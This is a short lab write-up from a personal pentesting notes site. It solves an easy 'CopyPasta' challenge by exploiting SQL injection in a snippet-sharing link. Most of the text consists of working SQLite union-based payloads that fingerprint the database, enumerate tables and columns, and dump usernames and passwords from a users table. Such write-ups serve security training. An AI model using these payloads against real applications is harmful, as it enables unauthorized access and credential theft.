> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/bugforge/sql-injection-sqli/copypasta.md). # CopyPasta Level: Easy\ Points: 10\ Type: Daily Challenge Lab Interface

after viewing any snippet, we have option to share, which gives us link of snippet

Possible SQLi Using simple payload `' or 1=1— -` proves, it is vulnerable to SQLi

finding number of columns `' order by 7-- -` gives error, hence the number of column is 6

using `' union select 1,2,3,4,5,sqlite_version()-- -` confirm database is sqlite, [visit here for more info](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)

dumping table names using ``` ' union select 1,2,3,4,5,group_concat(tbl_name) from sqlite_master where type='table'-- - ```

`users` table looks interesting. Next: dumping column names from table `users` ``` ' union select 1,2,3,4,5,group_concat(name) from PRAGMA_TABLE_INFO('users')-- - ```

dumping `username` and `password` columns from `users` table ``` ' union select 1,2,3,4,username,password from users-- - ```